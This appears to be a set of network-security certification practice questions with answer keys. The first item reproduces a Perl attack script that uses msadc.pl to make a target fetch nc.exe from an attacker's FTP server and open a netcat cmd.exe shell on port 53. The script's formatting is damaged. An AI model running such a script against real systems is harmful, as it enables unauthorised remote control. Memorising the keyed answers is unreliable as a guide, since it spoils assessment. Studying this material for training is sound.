Adam, a malicious hacker performs an exploit, which is given below:
#################################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = 'noone@nowhere.com';# password
#################################################################
$host = $ARGV[0];
print "Starting ...n";
print "Server will download the file nc.exe from $your FTP server.n"; system("perl
msadc.pl -h
$host -C "echo
open $your >sasfile""); system("perl msadc.pl -h $host -C "echo $user>>sasfile"");
system
("perl msadc.pl -h
$host -C "echo $pass>>sasfile""); system("perl msadc.pl -h $host -C "echo
bin>>sasfile"");
system("perl
msadc.pl -h $host -C "echo get nc.exe>>sasfile""); system("perl msadc.pl -h $host -C
"echo get
hacked.
html>>sasfile""); system("perl msadc.pl -h $host -C "echo quit>>sasfile""); print "Server
is
downloading ...
n";
system("perl msadc.pl -h $host -C "ftp -s:sasfile""); print "Press ENTER when download
is
finished ...
(Have a ftp server)n";
$o=; print "Opening ...n";
system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); print "Done.n";
#system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?

1. A. Opens up a SMTP server that requires no username or password
2. B. Creates a share called "sasfile" on the target system
3. C. Creates an FTP server with write permissions enabled
4. D. Opens up a telnet listener that requires no username or password

Correct Answer: D

Which of the following statements are true about snort?
Each correct answer represents a complete solution. Choose all that apply.

1. A. It develops a new signature to find vulnerabilitie
2. B. It detects and alerts a computer user when it finds threats such as buffer overflows, stealth port scans, CGI attacks, SMB probes and NetBIOS queries, NMAP and other port scanners, well-known backdoors and system vulnerabilities, and DDoS client
3. C. It encrypts the log file using the 256 bit AES encryption scheme algorith
4. D. It is used as a passive trap to record the presence of traffic that should not be found on a network, such as NFS or Napster connection

Correct Answer: ABD

Which of the following tools is used to detect round-robin-load-balancing?

1. A. traceroute
2. B. tcptrace
3. C. TCP SYN scanning
4. D. tcptraceroute

Correct Answer: D

Which of the following well-known ports is used by BOOTP?

1. A. TCP 161
2. B. UDP 69
3. C. TCP 21
4. D. UDP 67

Correct Answer: D

Which of the following is the primary TCP/IP protocol used to transfer text and binary files over the Internet?

1. A. PPTP
2. B. SNMP
3. C. FTP
4. D. SMTP

Correct Answer: C